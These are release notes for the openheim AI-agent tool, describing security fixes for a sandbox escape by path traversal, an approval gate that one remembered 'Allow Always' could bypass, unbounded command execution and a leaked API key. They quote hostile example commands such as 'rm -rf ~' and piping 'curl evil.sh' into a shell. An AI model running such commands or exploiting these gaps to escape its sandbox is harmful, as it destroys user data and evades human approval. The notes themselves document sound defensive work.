You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This commit was created on GitHub.com and signed with GitHub’s verified signature.
What's Changed
Security
Fixed a sandbox escape in work-directory path validation — validate_path resolved .. segments through the kernel while walking ancestors to find something to canonicalize, but a path whose first component doesn't exist yet (e.g. x/../../../outside/pwned.txt) returns ENOENT for every ancestor containing x/.., so the walk validated only work_dir itself and handed the raw, un-normalized path back to the caller. The kernel then resolved the ..s at syscall time — after write_file's create_dir_all had created the missing x/ prefix — letting a tool call (or a remote WS client via the fs sidecar's mkdir/write) create files and directories outside work_dir. Paths are now normalized lexically (. stripped, .. resolved against the preceding component) before any filesystem probing, and the normalized path is what gets validated and returned, so no .. component ever survives to syscall time. One deliberate behavior change: link/../foo, where link is a symlink, now resolves lexically to work_dir/foo instead of following the symlink — strictly safer for containment, since the returned path is always the one the caller opens.
"Allow Always" on a shell command no longer covers different commands sharing its program name — remembered session/request_permission decisions for execute_command were keyed by the command's first word (introduced in 0.5.0 to stop per-tool-name blanket approvals), which meant approving git status once also auto-approved git status && rm -rf ~ or git … | curl evil.sh | sh for the rest of the session — the shell operators ride along after the first word. Approvals are now scoped to the exact command string: only byte-identical commands reuse an "Allow Always". The tradeoff is that argument variations re-prompt (annoying, but any prefix-based match reopens the bypass); unparseable tool arguments get a per-raw-arguments key so one malformed approval can never cover another. Applies to both the ACP gate and the TUI's permission prompt; other tools remain approved per-tool-name as before.
execute_command is now bounded: hard timeout, output caps, cancellation, and process-group cleanup — previously the tool buffered unbounded stdout/stderr (a chatty command ballooned memory and pushed its full output verbatim into the model's context, with no truncation anywhere in the pipeline), had no timeout (sleep infinity pinned the turn forever), ignored session/cancel while a command ran, and spawned the shell in the server's own process group — so backgrounded grandchildren (sh -c "sleep 999 &") outlived the turn as orphans. Commands now run in their own process group with stdin detached; stdout and stderr are each capped at 64 KiB with a [output truncated…] marker (the pipe is closed at the cap, so producers still writing die of SIGPIPE instead of buffering without bound); a 120-second timeout kills the whole process group and returns an error carrying the partial output; and a turn cancellation kills the group the same way, with exits always reaped so no zombies remain. Applies everywhere the tool runs — ACP sessions, the TUI, subagents, and the library facade — and the LLM-facing tool description now states the bounds so the model can plan around them.
Gemini API keys are no longer leaked into error strings and logs. The key was sent as a ?key=… URL query parameter on both generateContent and streamGenerateContent. reqwest embeds the full URL — query string included — in its transport error strings, so a single timeout or connect failure stringified the key inside Error::ReqwestError, and the retry wrapper's warn!-level logging then wrote it to the log: one timeout equaled key in logs. The key is now sent in the x-goog-api-key header on both endpoints (alt=sse remains the only query parameter), so transport error strings never contain it.
Skill names are validated before use, closing a path-traversal read out of the skills directory.load_skill interpolated the caller-supplied name into ~/.openheim/skills/{name}.md with no sanitization — and names are untrusted input: they arrive from remote ACP clients (session/new_meta.skills), default_skills in the config file, the library's SessionBuilder::skills, and persisted conversation metadata. A name containing ../separators could target files outside the skills directory (the forced .md suffix limited the blast radius; symlinks inside the directory did not). A skill name must now be exactly one normal path component (rejecting / and \ separators, ./.., Windows drive prefixes, any .. substring, and NUL), and after the existence check both the file and the skills directory are canonicalized with containment enforced before reading — so a symlink planted inside the skills directory can no longer redirect the read outside it, and the check→read symlink-swap window is closed (canonicalizing the directory also keeps the check working when the skills dir itself sits behind a symlink, e.g. macOS /var → /private/var). All entry points funnel through the same validator, list_skills filters through it (so the advertised list in initialize_meta and GET /api/skills only contains loadable names), and sessions persisted with traversing names now error loudly instead of escaping. One deliberate behavior change: legitimate symlinked skill files pointing outside ~/.openheim/skills now fail with a clear error — the same containment stance as the work-dir sandbox fix above. Naming rules are documented in docs/skills.md.
Fixed
Streamed multi-byte text (CJK, emoji) and tool-call JSON is no longer silently corrupted at HTTP chunk boundaries. The shared SSE decoder converted each incoming byte chunk to a String via from_utf8_lossy as it arrived — but a multi-byte UTF-8 character split across two chunks (the TCP/TLS boundary falls mid-character) decoded into two U+FFFD replacement characters instead of the original one, silently corrupting CJK/emoji text and the JSON payloads carrying tool-call arguments. The decoder now buffers raw bytes and decodes per complete line only; line framing, data: extraction, and CRLF handling are unchanged.
Streaming generations longer than timeout_secs are no longer killed mid-stream.timeout_secs (default 120s) was applied as reqwest's total-request timeout, which spans the entire response-body read — so any streaming generation longer than 120s (trivial for thinking models) died mid-stream with an error, unretryably, since chunks already emitted to the caller can't be replayed. It now bounds the connect phase and the maximum gap between body reads (connect_timeout + read_timeout) instead of total duration: healthy slow streams run to completion, while a peer that goes silent is still detected after 120s without data. Pre-first-chunk stalls remain retryable exactly as before (read-timeout errors still classify as timeouts in Error::is_retryable). One accepted tradeoff: a server that trickles bytes indefinitely can hold a request open past timeout_secs — turn cancellation (session/cancel) still stops it immediately. docs/configuration.md and the OpenheimBuilder::timeout_secs rustdoc now document the connect/idle-read semantics.
Re-attaching to a live session via session/load no longer stomps its control state, and the live-session map is now bounded. Two related fixes in the ACP session map. (1) Loading a session that was already live unconditionally replaced its SessionState: a second connection attaching mid-turn reset the cancel token (the running turn became uncancellable — session/cancel would now cancel the fresh token, not the turn's), wiped remembered "Allow Always" approvals, and swapped the prompt lock — and since the old guard was still held while the map's lock looked free, two concurrent turns could run on one chat, interleaving history saves — exactly what the prompt lock exists to prevent. Loading an already-live session now keeps the live entry (cancel token, approvals, prompt lock, model/mode) and bumps only its activity timestamp; the on-disk history replay still streams to the loading connection, since that part is per-connection rather than session state. Cross-connection session sharing itself is unchanged — it's a deliberate feature (editor + TUI on the same session). (2) Live sessions were never removed from the map (ACP has no session/close to hook), so a long-lived server grew it without bound. The map is now swept on every insert: sessions idle for 7 days are evicted, a 512-entry cap evicts the least-recently-active entries beyond it, and a session with a prompt in flight is never evicted. Evicted sessions resurrect via session/load — history lives on disk — so eviction costs nothing but the reload round trip.
Added
Cargo feature flags: cli (default), tui, and server — library embedders no longer compile the terminal-UI and server dependency trees unconditionally. tui gates the tui module (ratatui, crossterm, futures); server gates transport::ws (axum, tower-http, notify, walkdir, futures); cli (the default) enables the openheim binary — CLI parsing, TUI, and serve — and implies both. Depending with default-features = false (optionally adding "tui" or "server" back) skips the clap, ratatui, crossterm, axum, tower-http, notify, walkdir, futures, and tracing-subscriber trees, shrinking the lib-only dependency graph from 307 to 222 crates (−85, ~28%). Defaults are unchanged: cargo build, cargo run, and cargo install openheim produce the same binary as before, and without cli the binary is skipped rather than broken (required-features). CI now clippy-lints --no-default-features, --features tui, and --features server, and runs the test suite under --no-default-features, so the feature matrix can't rot. See "Feature flags" in the crate docs and docs/library.md.
Removed
Dead dependencies: rustyline, colored, and once_cell — all three had zero usages in the codebase (checked including extension-trait patterns like .red()/.bold() and Lazy/OnceCell); a full sweep verified every remaining declared dependency is used. The README's stale "Interactive rustyline REPL" line now correctly says ratatui terminal UI.